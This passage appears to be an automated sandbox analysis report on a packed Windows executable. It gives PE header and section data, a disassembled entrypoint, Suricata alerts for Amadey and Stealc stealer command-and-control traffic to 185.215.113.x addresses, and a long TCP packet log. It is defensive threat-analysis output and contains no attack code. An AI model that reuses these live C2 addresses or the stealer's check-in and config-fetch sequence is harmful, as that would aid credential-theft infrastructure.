TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F5500C0C32Ah
rsm
sbb al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F5500C0E325h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16800	b2518b5e7783fd3084a6d965e960dda2	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1ac	0x200	d054584f67eafef84bf9bbf5bfb93547	False	0.580078125	data	4.599935375904729	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x295000	0x200	54705f34a0024a5c006226414dc2e2d9	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
kejjpbef	0x4e1000	0x193000	0x192800	edbed7cdbc614c1ac752a198e8064320	False	0.9945458074534161	data	7.953278580149822	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
gsgwokqi	0x674000	0x1000	0x400	0fa4311e9fbe0adc18e66677abf5ddb3	False	0.7822265625	data	6.143503260308547	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x675000	0x3000	0x2200	877e6ede2531eee07417906f21c9c5d4	False	0.006433823529411764	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x67353c	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-08T15:37:57.892895+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	50009	TCP
2024-12-08T15:38:08.909644+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49708	185.215.113.206	80	TCP
2024-12-08T15:38:09.356834+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49708	185.215.113.206	80	TCP
2024-12-08T15:38:09.477767+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49708	TCP
2024-12-08T15:38:09.803807+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49708	185.215.113.206	80	TCP
2024-12-08T15:38:09.933268+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49708	TCP
2024-12-08T15:38:11.378672+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49708	185.215.113.206	80	TCP
2024-12-08T15:38:12.091735+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49708	185.215.113.206	80	TCP
2024-12-08T15:38:38.896703+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49787	185.215.113.206	80	TCP
2024-12-08T15:38:40.799178+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49787	185.215.113.206	80	TCP
2024-12-08T15:38:42.076225+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49787	185.215.113.206	80	TCP
2024-12-08T15:38:43.160451+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49787	185.215.113.206	80	TCP
2024-12-08T15:38:46.670842+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49787	185.215.113.206	80	TCP
2024-12-08T15:38:47.724943+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49787	185.215.113.206	80	TCP
2024-12-08T15:38:53.373562+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49825	185.215.113.16	80	TCP
2024-12-08T15:40:06.154196+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50002	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 8, 2024 15:37:57.892894983 CET	443	49705	20.190.177.20	192.168.2.6
Dec 8, 2024 15:37:57.892914057 CET	443	49705	20.190.177.20	192.168.2.6
Dec 8, 2024 15:37:57.892925024 CET	443	49705	20.190.177.20	192.168.2.6
Dec 8, 2024 15:37:57.892935991 CET	443	49705	20.190.177.20	192.168.2.6
Dec 8, 2024 15:37:57.892947912 CET	443	49705	20.190.177.20	192.168.2.6
Dec 8, 2024 15:37:57.892961979 CET	443	49705	20.190.177.20	192.168.2.6
Dec 8, 2024 15:37:57.893059015 CET	49705	443	192.168.2.6	20.190.177.20
Dec 8, 2024 15:37:57.893105030 CET	49705	443	192.168.2.6	20.190.177.20
Dec 8, 2024 15:37:57.900983095 CET	443	49705	20.190.177.20	192.168.2.6
Dec 8, 2024 15:37:57.901106119 CET	443	49705	20.190.177.20	192.168.2.6
Dec 8, 2024 15:37:57.901182890 CET	49705	443	192.168.2.6	20.190.177.20
Dec 8, 2024 15:37:57.909303904 CET	443	49705	20.190.177.20	192.168.2.6
Dec 8, 2024 15:37:57.909379959 CET	443	49705	20.190.177.20	192.168.2.6
Dec 8, 2024 15:37:57.909430981 CET	49705	443	192.168.2.6	20.190.177.20
Dec 8, 2024 15:37:57.917757034 CET	443	49705	20.190.177.20	192.168.2.6
Dec 8, 2024 15:37:57.917821884 CET	443	49705	20.190.177.20	192.168.2.6
Dec 8, 2024 15:37:57.917876959 CET	49705	443	192.168.2.6	20.190.177.20
Dec 8, 2024 15:37:59.515628099 CET	443	49706	20.198.119.84	192.168.2.6
Dec 8, 2024 15:37:59.515741110 CET	49706	443	192.168.2.6	20.198.119.84
Dec 8, 2024 15:37:59.523077011 CET	49706	443	192.168.2.6	20.198.119.84
Dec 8, 2024 15:37:59.523087978 CET	443	49706	20.198.119.84	192.168.2.6
Dec 8, 2024 15:37:59.523349047 CET	443	49706	20.198.119.84	192.168.2.6
Dec 8, 2024 15:37:59.524755955 CET	49706	443	192.168.2.6	20.198.119.84
Dec 8, 2024 15:37:59.524821043 CET	49706	443	192.168.2.6	20.198.119.84
Dec 8, 2024 15:37:59.524826050 CET	443	49706	20.198.119.84	192.168.2.6
Dec 8, 2024 15:37:59.524961948 CET	49706	443	192.168.2.6	20.198.119.84
Dec 8, 2024 15:37:59.571338892 CET	443	49706	20.198.119.84	192.168.2.6
Dec 8, 2024 15:37:59.913851023 CET	49674	443	192.168.2.6	173.222.162.64
Dec 8, 2024 15:37:59.913856030 CET	49673	443	192.168.2.6	173.222.162.64
Dec 8, 2024 15:38:00.074331999 CET	443	49706	20.198.119.84	192.168.2.6
Dec 8, 2024 15:38:00.074490070 CET	443	49706	20.198.119.84	192.168.2.6
Dec 8, 2024 15:38:00.074578047 CET	49706	443	192.168.2.6	20.198.119.84
Dec 8, 2024 15:38:00.074698925 CET	49706	443	192.168.2.6	20.198.119.84
Dec 8, 2024 15:38:00.074708939 CET	443	49706	20.198.119.84	192.168.2.6
Dec 8, 2024 15:38:00.226342916 CET	49672	443	192.168.2.6	173.222.162.64
Dec 8, 2024 15:38:06.760868073 CET	49707	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:06.760890007 CET	443	49707	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:06.760953903 CET	49707	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:06.761718988 CET	49707	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:06.761732101 CET	443	49707	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:06.900553942 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:07.019917965 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:07.019996881 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:07.020878077 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:07.140221119 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:08.365233898 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:08.365920067 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:08.446120977 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:08.565557957 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:08.909575939 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:08.909643888 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:08.911276102 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:08.992852926 CET	443	49707	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:08.992958069 CET	49707	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:08.996588945 CET	49707	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:08.996596098 CET	443	49707	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:08.996823072 CET	443	49707	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:08.998883009 CET	49707	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:08.998954058 CET	49707	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:08.998958111 CET	443	49707	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:08.999224901 CET	49707	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:09.031780005 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:09.039330959 CET	443	49707	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:09.339483976 CET	49709	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:09.339521885 CET	443	49709	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:09.339620113 CET	49709	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:09.340316057 CET	49709	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:09.340329885 CET	443	49709	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:09.356689930 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:09.356726885 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:09.356833935 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:09.358434916 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:09.477766991 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:09.523123026 CET	49673	443	192.168.2.6	173.222.162.64
Dec 8, 2024 15:38:09.523123980 CET	49674	443	192.168.2.6	173.222.162.64
Dec 8, 2024 15:38:09.549196005 CET	443	49707	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:09.549432993 CET	443	49707	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:09.549515963 CET	49707	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:09.549777985 CET	49707	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:09.549792051 CET	443	49707	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:09.803585052 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:09.803621054 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:09.803718090 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:09.803738117 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:09.803801060 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:09.803807020 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:09.803813934 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:09.803879023 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:09.812242031 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:09.812315941 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:09.813704014 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:09.835630894 CET	49672	443	192.168.2.6	173.222.162.64
Dec 8, 2024 15:38:09.933268070 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:10.282258987 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:10.282377958 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:10.300561905 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:10.300622940 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:10.420147896 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:10.420162916 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:10.420212030 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:10.420331955 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:10.420377016 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:10.420466900 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:10.420476913 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:10.420663118 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:11.378571033 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:11.378671885 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:11.577307940 CET	443	49709	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:11.577370882 CET	49709	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:11.579515934 CET	49709	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:11.579525948 CET	443	49709	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:11.579816103 CET	443	49709	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:11.581110954 CET	49709	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:11.581178904 CET	49709	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:11.581182957 CET	443	49709	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:11.581289053 CET	49709	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:11.627336979 CET	443	49709	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:11.649914026 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:11.769237995 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.091634989 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.091691017 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.091734886 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.091764927 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.093799114 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.093848944 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.094908953 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.094963074 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.102132082 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.102211952 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.102984905 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.103049040 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.107564926 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.107621908 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.107961893 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.108014107 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.116079092 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.116132021 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.117999077 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.118051052 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.124351978 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.124435902 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.124741077 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.124787092 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.130537987 CET	443	49709	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:12.131158113 CET	443	49709	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:12.131234884 CET	49709	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:12.132787943 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.132855892 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.135334015 CET	49709	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:12.135350943 CET	443	49709	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:12.135360956 CET	49709	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:12.222012043 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.222146034 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.222269058 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.222316027 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.222569942 CET	443	49702	173.222.162.64	192.168.2.6
Dec 8, 2024 15:38:12.222667933 CET	49702	443	192.168.2.6	173.222.162.64
Dec 8, 2024 15:38:12.226087093 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.226133108 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.227570057 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.227623940 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.228334904 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.228384018 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.235975981 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.236032009 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.236668110 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.236716986 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.244381905 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.244453907 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.246965885 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.247020006 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.252852917 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.252923012 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.283309937 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.283391953 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.283437967 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.283478022 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.287425995 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.287477970 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.289028883 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.289042950 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.289082050 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.289102077 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.297420025 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.297481060 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.298954010 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.299015999 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.305859089 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.305918932 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.306204081 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.306253910 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.314173937 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.314234018 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.314934015 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.314976931 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.322473049 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.322537899 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.322633982 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.322689056 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.330851078 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.330915928 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.352915049 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.352976084 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.353033066 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.353080034 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.356237888 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.356292963 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.356954098 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.357001066 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.357040882 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.357086897 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.363873005 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.363924026 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.363934040 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.363965988 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.370582104 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.370641947 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.370685101 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.370733023 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.376853943 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.376919985 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.377727032 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.377777100 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.413825035 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.413913012 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.413944006 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.413969994 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.416883945 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.416954994 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.418060064 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.418106079 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.418138981 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.418184996 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.424384117 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.424438953 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.424941063 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.424985886 CET	49708	80	192.168.2.6	185.215.113.206
